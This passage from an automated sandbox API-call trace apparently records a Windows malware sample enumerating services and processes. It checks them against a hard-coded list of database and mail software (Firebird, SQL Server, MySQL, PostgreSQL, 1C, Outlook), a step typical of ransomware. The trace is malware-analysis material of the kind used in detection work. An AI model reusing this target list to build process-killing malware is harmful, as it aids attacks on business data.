(lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.695] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.696] lstrlenW (lpString="Spooler") returned 7 [0263.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.696] lstrlenW (lpString="SysMain") returned 7 [0263.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.697] lstrlenW (lpString="Themes") returned 6 [0263.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.698] lstrlenW (lpString="TrkWks") returned 6 [0263.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0263.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0263.698] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0263.698] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0263.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0263.698] lstrlenW (lpString="UxSms") returned 5 [0263.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.698] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.699] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.699] lstrlenW (lpString="WdiServiceHost") returned 14 [0263.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0263.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0263.699] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0263.699] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0263.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0263.699] lstrlenW (lpString="WdiSystemHost") returned 13 [0263.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0263.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0263.699] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0263.699] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0263.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0263.700] lstrlenW (lpString="Winmgmt") returned 7 [0263.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0263.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0263.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0263.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0263.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0263.700] lstrlenW (lpString="WPDBusEnum") returned 10 [0263.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0263.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0263.700] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0263.700] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0263.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0263.701] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0263.701] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0263.706] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.708] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.709] lstrlenW (lpString="System") returned 6 [0263.709] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.709] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.709] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.710] lstrlenW (lpString="smss.exe") returned 8 [0263.710] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.711] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.839] lstrlenW (lpString="csrss.exe") returned 9 [0263.839] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.839] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.839] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.839] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.839] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.839] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.839] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.841] lstrlenW (lpString="wininit.exe") returned 11 [0263.841] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0263.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0263.841] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.842] lstrlenW (lpString="csrss.exe") returned 9 [0263.842] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.843] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.843] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.843] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.844] lstrlenW (lpString="winlogon.exe") returned 12 [0263.844] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0263.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0263.844] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0263.844] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0263.845] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.846] lstrlenW (lpString="services.exe") returned 12 [0263.846] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.847] lstrlenW (lpString="lsass.exe") returned 9 [0263.847] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.848] lstrlenW (lpString="lsm.exe") returned 7 [0263.848] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.851] lstrlenW (lpString="svchost.exe") returned 11 [0263.851] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.856] lstrlenW (lpString="svchost.exe") returned 11 [0263.856] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.857] lstrlenW (lpString="svchost.exe") returned 11 [0263.857] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.858] lstrlenW (lpString="svchost.exe") returned 11 [0263.858] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.859] lstrlenW (lpString="svchost.exe") returned 11 [0263.859] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.860] lstrlenW (lpString="audiodg.exe") returned 11 [0263.860] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.861] lstrlenW (lpString="svchost.exe") returned 11 [0263.862] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.863] lstrlenW (lpString="explorer.exe") returned 12 [0263.863] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.864] lstrlenW (lpString="dwm.exe") returned 7 [0263.864] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.865] lstrlenW (lpString="svchost.exe") returned 11 [0263.865] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0263.866] lstrlenW (lpString="winhost.exe") returned 11 [0263.866] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.867] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.867] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.869] lstrlenW (lpString="svchost.exe") returned 11 [0263.869] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.870] lstrlenW (lpString="taskhost.exe") returned 12 [0263.871] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.872] lstrlenW (lpString="reader_sl.exe") returned 13 [0263.872] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.873] lstrlenW (lpString="taskhost.exe") returned 12 [0263.873] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.874] lstrlenW (lpString="dllhost.exe") returned 11 [0263.874] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0263.875] lstrlenW (lpString="consent.exe") returned 11 [0263.875] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0263.876] CloseHandle (hObject=0x3b0) returned 1 [0263.876] Sleep (dwMilliseconds=0x1f4) [0264.479] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e298 [0264.480] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0264.481] GetLastError () returned 0xea [0264.481] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0264.481] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0264.483] CloseServiceHandle (hSCObject=0x62e298) returned 1 [0264.483] lstrlenW (lpString="Appinfo") returned 7 [0264.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0264.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0264.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0264.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0264.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0264.484] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.484] lstrlenW (lpString="AudioSrv") returned 8 [0264.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0264.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0264.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0264.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0264.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0264.485] lstrlenW (lpString="BFE") returned 3 [0264.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.485] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.485] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.485] lstrlenW (lpString="CryptSvc") returned 8 [0264.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.485] lstrlenW (lpString="CscService") returned 10 [0264.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0264.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0264.486] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0264.486] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0264.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0264.486] lstrlenW (lpString="DcomLaunch") returned 10 [0264.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.486] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.486] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.487] lstrlenW (lpString="Dhcp") returned 4 [0264.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.487] lstrlenW (lpString="Dnscache") returned 8 [0264.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.487] lstrlenW (lpString="DPS") returned 3 [0264.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.488] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.488] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.488] lstrlenW (lpString="eventlog") returned 8 [0264.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0264.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0264.488] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0264.488] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0264.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0264.489] lstrlenW (lpString="EventSystem") returned 11 [0264.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.489] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.489] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.489] lstrlenW (lpString="gpsvc") returned 5 [0264.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.489] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.489] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.490] lstrlenW (lpString="iphlpsvc") returned 8 [0264.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.490] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.490] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.490] lstrlenW (lpString="LanmanServer") returned 12 [0264.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.490] lstrcmpiW 